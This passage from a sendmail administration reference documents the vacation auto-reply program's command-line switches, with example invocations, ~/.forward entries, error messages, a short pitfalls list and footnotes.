-C

Specify an alternative configuration file vacation command-line switch

Beginning with V8.12 sendmail, the vacation program reads the sendmail program’s configuration file to locate the value of the MailboxDatabase option (MailboxDatabase on page 1042). It scans the configuration file looking for lines that begin with the prefix:

O MailboxDatabase=

If the MailboxDatabase option is undefined, its default value is pw, which means to look up mailbox information in the passwd(5) file form of database. The mailbox database is used to find the home directory, and user and group IDs for the user. The mailbox database is ignored if the -U command-line switch is used.

The location of the configuration file is defined at compile time with _PATH_SENDMAILCF (_PATH... on page 131). If you wish to use a different configuration file, you can do so by specifying it with this -C command-line switch:

% vacation -C /etc/mail/sendmail.cf.new -i

If the configuration file listed with -C doesn’t exist or is unreadable, the entire -C directive is silently ignored. If the MailboxDatabase option is found but specifies an unknown database, the following error is logged or printed and the vacation program exits:

vacation: can't open mailbox database: Service unavailable

-d

Don’t syslog errors vacation command-line switch

Beginning with V8.12 sendmail, vacation logs all its error and warning messages via the syslog(3) facility (Log with syslog on page 513). Warnings are logged at LOG_NOTICE, and errors are logged at LOG_ERR.

The syslog facility reports them like this:

Mar  1 13:30:05 lady vacation[26884]: vacation: can't open mailbox database: Service
unavailable.

If you prefer to have these errors and warnings printed to your screen, you can use this -d command-line switch. It is better used outside your ~/.forward file because otherwise, printed errors will be sent to sendmail where they might be lost. You use the -d command-line switch like this:

% vacation -d bob < /dev/null
vacation: no such user bob.

Here, the administrator is about to set up a ~/.forward file for a user, and tests the vacation command with this -d switch. Because the user is bbob, and not bob, the error is immediately evident. Without the -d, the error would have been logged, and that log message might have been sent to another dedicated logging host.

-f

Use a different database file vacation command-line switch

Sometimes it is desirable for vacation to use a database file different from its default of .vacation.db. Perhaps you want to keep all your vacation files in one directory—say, .vacation. If your message file were there and your database file were there, you might invoke vacation like this:

|"/usr/ucb/vacation -f .vacation/data.db -m .vacation/message you"

The -f command-line switch causes vacation to use a database different from its default. Only one -f can be specified. If you attempt to specify more than one database with multiple -f command-line switches, only the last one listed will be used.

-i or -I

Initialize the database file vacation command-line switch

The -i command-line switch causes vacation to initialize its database. When vacation initializes, it truncates the database (erases any prior information) and stores the notification interval.[172] If the database file doesn’t exist, the -i command-line switch will cause it to be created. The -I command-line switch is a synonym for the -i command-line switch:

% /usr/ucb/vacation -i

If you wish to use a database file that is different from the default one named .vacation.db, you can do so by including the -f command-line switch described earlier:

% /usr/ucb/vacation -i -f .vacation/data.db

If you use -f when initializing, you must use the same -f expression when you set up your ~/.forward file.

You should initialize the database and give it a custom notification interval, exclusion addresses, and hosts (-x on page 392) before you set up vacation in your ~/.forward file. If a database doesn’t exist, vacation will automatically create an empty one for you with the default notification interval.

If the database file cannot be created or written for some reason, vacation will log the following error:

vacation: .vacation: reason here

Note that the suffix .db or .dbm is omitted because vacation doesn’t know which database type will be used ahead of time.

-j

Reply despite lack of recipient in To: or Cc: header vacation command-line switch

Ordinarily, the vacation program will auto-respond only to messages that contain the recipient’s address in the To: or Cc: header. There will be instances, however (perhaps occurring as a result of aliasing or ~/.forward file translation), when mail will be delivered with an address in one of those headers that is not the recipient’s address. To illustrate, consider the following aliases file (The aliases(5) File’s Location on page 461) entries:

root:     bob
bin:      root
sys:      root
webmaster:     root
hostmaster:    root

Here, the system administrator, bob, receives mail that is also sent to root, bin, sys, webmaster, and hostmaster. Normally, vacation will not respond to mail sent to any of these aliases. If bob wants vacation to respond even if the name bob is not found in the To: or Cc: header, bob can cause it to do so by adding this -j command-line switch to his invocation of vacation in his ~/.forward file:

 |"/usr/ucb/vacation -j bob"

Henceforth, vacation will amend its recipient check[173] response (when otherwise able) to all messages, no matter to whom each is addressed.

But note, this switch can cause vacation to auto-reply to unexpected addresses, so it is better used in restricted environments. In restricted environments, you will know all possible addresses ahead of time (via the aliases file) and so may safely use the vacation program’s -a switch (-a on page 386).

-l (lowercase L)

List the database’s contents vacation command-line switch

Beginning with V8.12 sendmail, you can list the senders contained in the vacation program’s database. Every time you receive a mail message from someone, that individual’s mail address is looked up in the vacation program’s database. If the address if found, and if the date associated with it is zero or if it is newer than the timeout interval, no vacation message is sent. If the address is found, and if the date associated with it is older than the timeout interval, a vacation message is sent and the date for that address’s record is updated to the present. If the address is absent from the database, a vacation message is sent and that address is added to the database and is given the present time.

The -l command-line switch causes vacation to print a list of the sender addresses it has in its database, one address per line, in the following format:

address                         date

The address is the sender address that received the message, or an address preset with the -x command-line switch. The date is when the message was last sent, or, for -x addresses, either a zero (which displays as Wed Dec 31 17:00:00 1969) prior to V8.12.4, or a literal (exclusion) for V8.12.4 and above:

friend@remote.site.com                 Fri Mar  1 15:10:48 2002
buddy@another.com                      Wed Dec 31 17:00:00 1969   ← V8.12.3 and
before
buddy@another.com                      (exclusion)                ← V8.12.4 and
above

The first line shows a sender who recently received a vacation message. The second line shows a sender address that was put in the database with the -x command line.

Note that this -l command-line switch shows only sender information from the database. Other information, such as the timeout interval, is not printed with this switch.

-m

Use a different message file vacation command-line switch

Sometimes it is advantageous to use a message file different from the default internally defined by vacation, which is .vacation.msg. For example, consider the need to maintain a menu of messages to chose from, depending on the situation. In the following example, all the messages are kept in a subdirectory:

|"/usr/ucb/vacation -m .vacation/weekend you"

The -m command-line switch causes vacation to reply using the message file specified in place of the default file. Only one -m can be specified. If you attempt to specify more than one message file with multiple -m command-line switches, only the last one listed will be used.

-R

Redefine envelope sender address vacation command-line switch

There is always a chance that a vacation message will bounce. To prevent that, vacation offers the -z command line switch (-z on page 392), which sets the return address for the message to be the null address:

<>

If you prefer a different return address, you may use the new V8.13 -R vacation command-line switch to define one. For example:

|"/usr/ucb/vacation -R bounces@bounce.example.com  you"

Here, the -R command-line switch causes vacation to mail messages with a return address of bounce+vacation@bounce.yourhost.domain. Such a return address might be appropriate at a site that has a special address for all bounces.

You can also use this switch to have bounces sent to yourself at a plus-address. That way, you can screen such bounces with procmail(1) or slocal(1). Just add a line like the following in your ~/.forward file:

|"/usr/ucb/vacation -R you+bounce@yourhost.domain you"

-r

Change the notification interval vacation command-line switch

By default, vacation will notify any given sender about your status only once each week. If you plan to be gone longer, you can, as a courtesy, notify senders less often. To change this interval you can specify a new one using the -r switch when the database is initialized:

% /usr/ucb/vacation -r 31

The argument to the -r command-line switch is the number of days to wait between notifications. The interval is set, and vacation exits. The new wait interval remains in effect until the next time you set it, or until you clear the database with -i. There is no way to see what the setting currently is, so, if in doubt, reset it to a value you want.

Three special cases exist for the argument to -r. If the argument is not a number, the interval is set to an essentially infinite interval. If the argument is larger than the maximum value of a signed long integer on your system, the vacation program will print a usage message and exit. Finally, if the argument is zero, all interval waits are disabled and every message from a user gets a reply. Needless to say, this latter circumstance should be avoided.

-s

Specify the sender in the command line vacation command-line switch

The vacation program, when run from inside your ~/.forward file, figures out the addresses of the sender by looking at the five-character "From" header (for the envelope sender). But there are other ways to run vacation when the envelope sender address should instead be passed on the command line.

Consider the following delivery agent declaration (The M Configuration Command on page 711) in which arbitrary users can have mail delivered via the vacation program:[174]

Mvacation, P=/usr/ucb/vacation, A=vacation -s $f $u

Here, the vacation program is run whenever this delivery agent is selected by rule sets. When it is run, the recipient’s address is passed to it in the $u sendmail macro ($u on page 848). The sender’s address is passed to it with the -s command-line switch and the $f sendmail macro ($f on page 824).

This -s command-line switch is useful whenever vacation is run from somewhere other than the command line or your ~/.forward file. If the vacation program is run from inside your ~/.procmail.rc file or from within your ~/.maildelivery file, this -s command-line switch can also be handy.

The sender address must follow the -s. If it is missing, the recipient address will become the sender address and vacation will exit without doing anything. If the sender address is not a valid address, the message mailed by vacation will bounce.

-t

Ignored for compatibility with Sun’s vacation vacation command-line switch

Beginning with V8.12 sendmail, the -t command-line switch is recognized and ignored. This is done to allow compatibility with Sun Microsystems’ version of the vacation program.

-U

Don’t look up the user in the passwd(5) file vacation command-line switch

The vacation program, when run from inside your ~/.forward file, figures out the location of your database file and message file by looking up your username in the passwd(5) file. This method of finding those files will fail, however, if the user’s account has been removed.

Beginning with V8.12 sendmail, you can turn off this lookup of the user identity in the passwd(5) file. But if you do that, you will need to specify the location of the database file and the message file with the corresponding -f and -m command-line switches:

|"/usr/ucb/vacation -U -f /admin/retired/bob.db -m /admin/retired/bob.msg bob"

This method of bypassing the passwd(5) file could be handy in the aliases database as a means of handling retired users:

bob: |"/usr/ucb/vacation -U -f /admin/retired/bob.db -m /admin/retired/bob.msg bob"

The -U suppresses a lookup of bob in the passwd(5) file (which would fail because bob no longer has an account). The -f command-line switch (-f on page 387) tells vacation the path and filename of the database it should use. The -m command-line switch (-f on page 387) tells vacation the path and filename of the message file it should use.

If -U is specified, and if either the -f or -m, or both, are omitted, vacation logs or prints the following error and exits EX_NOINPUT:

vacation: -U requires setting both -f and -m

-x

Exclude a list of addresses vacation command-line switch

Some addresses should not receive replies from vacation. Your boss might be one such case, or perhaps some friends who don’t need to know you’re away. To exclude addresses, just create a file that contains the list of addresses, one address per line. For example:

boss@your.domain
friend@your.domain
another@another.domain

You execute vacation from the command line like this:

% /usr/ucb/vacation -x < list

The -x command-line switch causes vacation to read one address at a time from its standard input and add it to a list of addresses to exclude from replies.

To make things easier, if you specify a domain with an @ at the front, all addresses in that domain will also be excluded:

% echo @your.domain | /usr/ucb/vacation -x

Here, instead of using a file as before, a single domain is echoed through the vacation program. The -x command-line switch causes all addresses in the domain your.domain to be excluded from vacation replies.

Whenever you add addresses to the exclusion list, you can rerun vacation with -x and the new addresses will be added. Initializing the database with -i clears the list, so whenever you initialize, be sure to reload your list with -x. The two switches can be combined, perhaps in a Makefile, to make initializing easier:

vacation:
        /usr/ucb/vacation -i -x < $(HOME)/.vacation.exclude

-z

Set the sender to <> vacation command-line switch

Sometimes it is desirable to have vacation mail resemble bounced email. One way to accomplish this is to use the -z command-line switch. That switch causes the vacation message to appear to come from the special user “<>” instead of from you. At the original sender’s end, the message will likely appear to come from MAILER-DAEMON or something similar:

From MAILER-DAEMON@your.domain  Sat Jan  1 19:56:21 2000

As a side effect, the vacation reply will also have this header added:

X-Authentication-Warning: local.domain:  you set sender to <> using -f

This -z command-line switch is useful if your vacation messages generate significant bounced mail. This could be the case if you get lots of spam email, for example. Using this -z command-line switch will prevent vacation messages to those bad reply addresses from bouncing:

|"/usr/ucb/vacation -z you"

Pitfalls

  • Just because the source for a program is available, you should not use it unless there is an actual need. The rmail program, for example, is needed only if you have UUCP connections, and should not be used otherwise. The mail.local program is another that should be built and installed only on systems that support it. If you install and use mail.local on an unsupported system, you risk lost email.

  • Although we do not describe the programs in the contrib directory, we are not critical of them. They have been omitted simply because they are not built and installed with the Build program.



[162] * The Build script we describe in this section is not the same as the one in the top-level directory, nor is it the same as the one in the cf/cf directory. Both of those scripts are just tiny wrappers that invoke make(1) directly.

[163] * Whenever you update to a newer version of sendmail, always update the version of the editmap program in parallel. Old or vendor versions might not interoperate well with an updated sendmail.

[164] * For very large databases, it might be faster to use editmap than to rebuild the database from source text each time.

[165] * LMTP is documented in RFC2033.

[166] For all operating systems to which mail.local has been ported, all your m4 build file macros are already correct.

[167] * Note that this will not work from the top-level sendmail source directory. Instead, you must change into the mail.local directory first.

[168] * You could do this by editing libsm/mbdb.c and rebuilding the sendmail suite of software.

[169] * Whenever you update to a newer version of sendmail, always update the version of the makemap program in parallel. Old or vendor versions might not interoperate well with an updated sendmail.

[170] * You can also achieve this by using the confEBINDIR compile-time macro, but that macro is not favored because it also affects the mail.local program.

[171] Note that procmail is not a good candidate because it can run anything, including a shell.

[172] * The interval is stored as a binary representation of an unsigned integer. Consequently, sharing a vacation database via NFS between machines of differing integer representations might cause vacation to misinterpret its interval.

[173] * The vacation program will still follow all of its other rules (except the recipient check). That is, it won’t respond to Precedence: header of junk or bulk; won’t respond to list items; won’t respond to mail from postmaster, uucp, MAILER-DAEMON, mailer, *-request, *-owner, or owner-*; and won’t respond to a sender it has already responded to (within its response interval).

[174] * This delivery agent declaration is highly abbreviated (lacking an F=, for example) and should not be used as is.